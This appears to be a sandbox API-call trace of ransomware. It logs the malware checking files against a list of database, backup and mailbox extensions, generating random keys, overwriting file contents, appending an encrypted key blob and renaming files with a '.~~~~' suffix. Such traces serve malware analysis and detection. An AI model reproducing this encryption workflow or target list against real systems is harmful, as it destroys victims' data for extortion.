	[0076.323] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.323] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0076.325] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.325] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.325] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19631500790) returned 1
	[0076.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x97652bb0, dwHighDateTime=0x1d60e1e)) 
	[0076.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2550
	[0076.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2550 | out: hHeap=0x300000) returned 1
	[0076.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7f78
	[0076.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7f78 | out: hHeap=0x300000) returned 1
	[0076.325] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.326] GetLastError () returned 0x0
	[0076.326] GetLastError () returned 0x0
	[0076.326] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.326] GetLastError () returned 0x0
	[0076.326] GetLastError () returned 0x0
	[0076.327] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.331] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.331] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.333] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.333] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.334] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.335] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.335] CloseHandle (hObject=0x118) returned 1
	[0076.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0076.335] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.~~~~")) returned 1
	[0076.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0076.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.335] GetLastError () returned 0x0
	[0076.335] RtlWakeConditionVariable () returned 0x365f70
	[0076.336] GetCurrentThreadId () returned 0xaf0
	[0076.336] GetCurrentThreadId () returned 0xaf0
	[0076.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0076.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0076.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27facf0 | out: hHeap=0x300000) returned 1
	[0076.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0076.336] lstrlenW (lpString=".scr") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".scr") returned 0x0
	[0076.336] lstrlenW (lpString=".cmd") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".cmd") returned 0x0
	[0076.336] lstrlenW (lpString=".dll") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".dll") returned 0x0
	[0076.336] lstrlenW (lpString=".bat") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".bat") returned 0x0
	[0076.336] lstrlenW (lpString=".cpl") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".cpl") returned 0x0
	[0076.336] lstrlenW (lpString=".sys") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".sys") returned 0x0
	[0076.336] lstrlenW (lpString=".msc") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".msc") returned 0x0
	[0076.336] lstrlenW (lpString=".com") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".com") returned 0x0
	[0076.336] lstrlenW (lpString=".lnk") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".lnk") returned 0x0
	[0076.336] lstrlenW (lpString=".msp") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".msp") returned 0x0
	[0076.336] lstrlenW (lpString=".pif") returned 4
	[0076.336] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".pif") returned 0x0
	[0076.337] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0076.337] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0076.337] lstrlenW (lpString=".sqb") returned 4
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".sqb") returned 0x0
	[0076.337] lstrlenW (lpString=".ost") returned 4
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".ost") returned 0x0
	[0076.337] lstrlenW (lpString=".txt") returned 4
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".txt") returned 0x0
	[0076.337] lstrlenW (lpString=".mdt") returned 4
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".mdt") returned 0x0
	[0076.337] lstrlenW (lpString=".BDB") returned 4
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".BDB") returned 0x0
	[0076.337] lstrlenW (lpString=".eql") returned 4
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".eql") returned 0x0
	[0076.337] lstrlenW (lpString=".DBF") returned 4
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".DBF") returned 0x0
	[0076.337] lstrlenW (lpString=".EQL") returned 4
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".EQL") returned 0x0
	[0076.337] lstrlenW (lpString=".FDB") returned 4
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".FDB") returned 0x0
	[0076.337] lstrlenW (lpString=".EDB") returned 4
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".EDB") returned 0x0
	[0076.337] lstrlenW (lpString=".DACPAC") returned 7
	[0076.337] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0076.337] lstrlenW (lpString=".VHD") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".VHD") returned 0x0
	[0076.338] lstrlenW (lpString=".DBV") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".DBV") returned 0x0
	[0076.338] lstrlenW (lpString=".dacpac") returned 7
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".dacpac") returned 0x0
	[0076.338] lstrlenW (lpString=".sdf") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".sdf") returned 0x0
	[0076.338] lstrlenW (lpString=".accdb") returned 6
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".accdb") returned 0x0
	[0076.338] lstrlenW (lpString=".DBX") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".DBX") returned 0x0
	[0076.338] lstrlenW (lpString=".MDT") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".MDT") returned 0x0
	[0076.338] lstrlenW (lpString=".SQB") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".SQB") returned 0x0
	[0076.338] lstrlenW (lpString=".vhd") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".vhd") returned 0x0
	[0076.338] lstrlenW (lpString=".bac") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".bac") returned 0x0
	[0076.338] lstrlenW (lpString=".mdf") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".mdf") returned 0x0
	[0076.338] lstrlenW (lpString=".BAK") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".BAK") returned 0x0
	[0076.338] lstrlenW (lpString=".BAC") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".BAC") returned 0x0
	[0076.338] lstrlenW (lpString=".dbs") returned 4
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".dbs") returned 0x0
	[0076.338] lstrlenW (lpString=".vhdx") returned 5
	[0076.338] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".vhdx") returned 0x0
	[0076.339] lstrlenW (lpString=".NDF") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".NDF") returned 0x0
	[0076.339] lstrlenW (lpString=".dat") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".dat") returned 0x0
	[0076.339] lstrlenW (lpString=".DBS") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".DBS") returned 0x0
	[0076.339] lstrlenW (lpString=".CKP") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".CKP") returned 0x0
	[0076.339] lstrlenW (lpString=".edb") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".edb") returned 0x0
	[0076.339] lstrlenW (lpString=".PST") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".PST") returned 0x0
	[0076.339] lstrlenW (lpString=".dbf") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".dbf") returned 0x0
	[0076.339] lstrlenW (lpString=".SQL") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".SQL") returned 0x0
	[0076.339] lstrlenW (lpString=".pst") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".pst") returned 0x0
	[0076.339] lstrlenW (lpString=".dbv") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".dbv") returned 0x0
	[0076.339] lstrlenW (lpString=".SDF") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".SDF") returned 0x0
	[0076.339] lstrlenW (lpString=".dtxs") returned 5
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".dtxs") returned 0x0
	[0076.339] lstrlenW (lpString=".db3") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".db3") returned 0x0
	[0076.339] lstrlenW (lpString=".OST") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".OST") returned 0x0
	[0076.339] lstrlenW (lpString=".dbx") returned 4
	[0076.339] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".dbx") returned 0x0
	[0076.340] lstrlenW (lpString=".DB3") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".DB3") returned 0x0
	[0076.340] lstrlenW (lpString=".DAT") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".DAT") returned 0x0
	[0076.340] lstrlenW (lpString=".VHDX") returned 5
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".VHDX") returned 0x0
	[0076.340] lstrlenW (lpString=".ndf") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".ndf") returned 0x0
	[0076.340] lstrlenW (lpString=".DB") returned 3
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".DB") returned 0x0
	[0076.340] lstrlenW (lpString=".sql") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".sql") returned 0x0
	[0076.340] lstrlenW (lpString=".MYD") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".MYD") returned 0x0
	[0076.340] lstrlenW (lpString=".DBT") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".DBT") returned 0x0
	[0076.340] lstrlenW (lpString=".ACCDB") returned 6
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0076.340] lstrlenW (lpString=".fdb") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".fdb") returned 0x0
	[0076.340] lstrlenW (lpString=".bak") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".bak") returned 0x0
	[0076.340] lstrlenW (lpString=".myd") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".myd") returned 0x0
	[0076.340] lstrlenW (lpString=".DTXS") returned 5
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".DTXS") returned 0x0
	[0076.340] lstrlenW (lpString=".ckp") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".ckp") returned 0x0
	[0076.340] lstrlenW (lpString=".dbt") returned 4
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".dbt") returned 0x0
	[0076.340] lstrlenW (lpString=".db") returned 3
	[0076.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".db") returned 0x0
	[0076.341] lstrlenW (lpString=".TXT") returned 4
	[0076.341] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".TXT") returned 0x0
	[0076.341] lstrlenW (lpString=".MDF") returned 4
	[0076.341] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".MDF") returned 0x0
	[0076.341] lstrlenW (lpString=".bdb") returned 4
	[0076.341] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".bdb") returned 0x0
	[0076.341] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.341] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x27f3348
	[0076.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.341] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0076.342] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.342] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.342] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19633200809) returned 1
	[0076.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x97678d10, dwHighDateTime=0x1d60e1e)) 
	[0076.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27facf0
	[0076.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27facf0 | out: hHeap=0x300000) returned 1
	[0076.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7c30
	[0076.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0076.342] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.343] GetLastError () returned 0x0
	[0076.343] GetLastError () returned 0x0
